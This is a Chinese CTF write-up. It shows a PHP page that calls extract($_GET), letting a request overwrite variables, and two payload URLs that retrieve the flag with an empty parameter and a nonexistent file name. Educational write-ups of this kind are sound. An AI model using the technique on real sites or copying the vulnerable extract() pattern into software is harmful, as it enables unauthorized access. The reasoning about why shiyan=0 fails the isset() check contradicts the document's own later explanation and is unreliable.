话不多说直接上代码:
<?php
$flag='xxx';
extract($_GET); //变量覆盖
if(isset($shiyan)) //shiyan这个变量一定要存在,说白了不能的等于0.
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'flag{xxx}';
}
else
{
echo'Oh.no';
}
}
?>
函数分析:
trim() 函数移除字符串两侧的空白字符或其他预定义字符。
file_get_contents() 函数把整个文件读入一个字符串中。这里一定要注意,如果文件不存在,此函数返回fales(0)。
接着我们构造payload:
http://123.206.87.240:9009/1.php?shiyan=0&flag=0 //很遗憾我们并没有爆出flag
这是因为我们虽然满足了shiyan=content的值,但是当shiyan=0的时候,if(isset($shiyan)) 这条语句就不过关。
所以我们构造以下payload:
http://123.206.87.240:9009/1.php?shiyan=&flag=xxxx.txt
只要是flag的值是一个不存在的文件,content的值就为0.所以这里我们可以把shiyan的值设置为空。
在这里大家可能会有一个疑惑就是:既然shiyan等于空,那个isset这个函数就会返回一个false,就不能执行第一个if了,为何还能爆出flag?
这里我们有必要解释一下两个php函数:
isset()函数
isset函数判断变量是否存在
<?php
$a = '';
var_dump(isset($a)); //结果返回ture
<?php
$a = '';
var_dump(isset($x));//结果返回false
由此可以看出isset这个函数只是检查变量是否存在,与变量的值无关。
总结1:PHP中isset函数是用来检测变量是否存在已设置并且非 NULL。如果某个变量存在并且值不是 NULL 则返回 TRUE,否则返回 FALSE。
empty()函数
判断变量是否为空
<?php
$a = '';
var_dump(empty($a));a为空结果返回true
<?php
$a = ' ';//此处有空格
var_dump(empty($a)); a变量非空非零,结果返回false
总结2:PHP中empty函数是用来检查一个变量是否为空的。当某个变量存在并且是一个非空非零的值时返回 FALSE 否则返回 TRUE.